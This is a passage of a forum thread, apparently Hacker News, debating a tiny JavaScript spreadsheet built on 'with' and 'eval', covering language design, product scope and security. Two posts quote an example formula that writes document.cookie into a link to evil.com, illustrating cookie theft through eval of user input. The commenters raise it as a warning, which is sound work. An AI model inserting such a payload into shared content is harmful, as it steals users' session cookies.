Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

A spreadsheet in fewer than 30 lines of JavaScript, no library used

jsfiddle.net

Post reply on HN
Print view View original

181–190 of 274 posts

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#181

Post by wwweston »

stiff wrote: post #137
thatthatis wrote: post #48

Earlier quoted context omitted.

A 30 line javascript spreadsheet is similar for me to when I first saw Norvig's 21 line python spelling corrector ( http://norvig.com/spell-correct.html ): this language is more powerful and expressive than I thought. I'm increasingly believing that HTML/CSS/JS in a browser is a viable common runtime. This demo does quite a lot to solidify that belief.

The only things that are powerful and expressive in JavaScript are bastardized beyond recognition versions of ideas from Lisp, Smalltalk and Self. You get those dynamic mechanisms that we know for 50 years now (lambda expressions and runtime method dispatch, oh wow) to be useful but without learning any lessons learned in those 50 years about how to design a coherent language based on those concepts, you just get a h…

> (and boy does this code look ugly)

At least to this dev, it's pretty clear what each line is doing and how -- certainly clearer than what you mean by ugly.

> your meta-programming doesn't have to always be only eval and .bind in various incarnations

I don't think this statement makes a whole lot of sense except to the degree all meta-programming could be argued to be eval and bind in various incarnations. Certainly there's literally other options available for JS.

> unsafe, inconvenient and slow

Someone holding up Ruby as an example while complaining about safety and speed in other languages is... interesting.

> the "with" usage on which this hack is based is actively discouraged by everyone using JavaScript as it basically mixes in the object into the current scope

"with" gets a bad rap, and its blanket discouragement/deprecation may be as big a mistake as its original design. It's true that using it takes some thought about the potential scope ambiguities, and it's true that it could have been better designed (personally, I think an optional de-ambiguating dot-operator would have been a nice lightweight way to go), but it's also pretty useful, and once you take the time to understand what the possibly ambiguous cases are and what the decided-on rules are, it's not hard to work with.

> In a sane language, you do .instance_eval, and you narrow the scope to whatever the object contains.

The right instance scoping construct might've been one of several nice ways to go too, but certainly not the only sane option.

> this doesn't make them great.

No, apparently just... useful. Useful enough to build something like this. Certainly not great, though.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#183

Post by zmmmmm »

dictum wrote: post #62
racbart wrote: post #41

This is truly great as proof of concept and also as a reminder that in software development building 80% of perceived* functionality usually takes only tiny fraction of total development time which is required to build final product. * - this app looks and feels like “almost complete spreadsheet” yet it provides much less than 1% features of even a basic spreadsheet.

And 80% of perceived functionality is what most users — even people who rely on spreadsheets for their work — need. I'm not saying including the other 20% of functionality isn't a good thing to do, but when you're creating a new product or open source project, you can get by (and thrive) building only the 20% of functionality that's used 80% of the time. Why? Because 1% of functionality is still better than 0% (never…

> And 80% of perceived functionality is what most users — even people who rely on spreadsheets for their work — need

This is exactly the insidious myth that the GP is pointing out.

Yes, 80% of the "perceived" functionality might be 1% of the work. But the remaining 20% is a long tail of utterly essential features that are completely fragmented between users. Each user only cares about 80.1% of features, but without the extra 0.1% your spreadsheet is useless.

One user will care that it doesn't print. Another will care that it can't do a sum over columns. Another will care that it doesn't have charts. Another will care that you can't make a bold heading. Another will want statistics functions. Basically your "80% of functionality" has zero value until you do years of work to implement all those 0.1% features.

This myth leads countless people to implement what they think is MVP and then be mystified that their insanely great work still has zero value to anybody they actually show it too.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#185

Post by aufreak3 »

jcampbell1 wrote: post #154
inDigiNeous wrote: post #139

Earlier quoted context omitted.

Using both 'with' and 'eval' on the same line, nice ;) Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'. Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZ…

Yes, the statements are still true. This is an exceptionally clever hack, but it can't really be expanded upon, because as soon as you allow sharing of spreadsheets, it is a security nightmare. Consider: =document.cookie, or =document.write(' http://evil.com/'+document.cookie +'">'); eval of user input is just not safe, and the with statement also presents problems, such as =INPUT

Doing this all in a webworker might be one way to get security - by sandboxing the with/eval?

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#186

Post by aufreak3 »

tel wrote: post #93

It's not really comparable, but minimalistic spreadsheet applications always remind me of Dan Piponi's Haskell `loeb` function [0]---a "one-line" "spreadsheet" "implementation". The blog post is very interesting to read, but here's the meat. We're looking for a function with type loeb :: Functor f => f (f a -> a) -> f a and without thinking about the meaning of it, we can implement it as loeb x = fmap (\a -> a (loeb…

Was about to post this as well. By far the neatest application of curry-howard i've stumbled on.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#187

Post by btown »

jcampbell1 wrote: post #71
timje1 wrote: post #33

Earlier quoted context omitted.

Personally I was confused as to how the fellow got around the basics of having to parse tokens until I noticed with (DATA) now that's just genius. I hate writing token parsing.

I am a bit lost as to why cycles are handled the way they are. Part of the problem, is cycles seem to crash chrome's developer tools. If you put =A1 in A1, and =A2 in A2, it crashes the web inspector for me. I am lost as to why putting =A1 in A1 doesn't cause an infinite loop. Why doesn't eval (DATA.A1) not trigger the getter and hence an infinite loop?

It's possible that the call stack is being exceeded, but the Web Inspector is still trying to display each portion of the call stack - leading to an out-of-memory condition for the inspector?

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#190

Post by jcampbell1 »

aufreak3 wrote: post #185
jcampbell1 wrote: post #154

Earlier quoted context omitted.

Yes, the statements are still true. This is an exceptionally clever hack, but it can't really be expanded upon, because as soon as you allow sharing of spreadsheets, it is a security nightmare. Consider: =document.cookie, or =document.write(' http://evil.com/'+document.cookie +'">'); eval of user input is just not safe, and the with statement also presents problems, such as =INPUT

Doing this all in a webworker might be one way to get security - by sandboxing the with/eval?

Possibly. Web workers are isolated from the DOM, but can still do stuff like import other scripts or do XHR requests, but those would be limited to the same origin.

It seems like that would be somewhat XSS safe since you are just passing strings back and forth.

I really like this idea.

   evalSafeAsync(code,context,callback)
That being said, for a spreadsheet, you need to bite the bullet and parse the formulas. I don't see an easy way to support SUM(A1:A4) using this eval hack.
Post reply on HN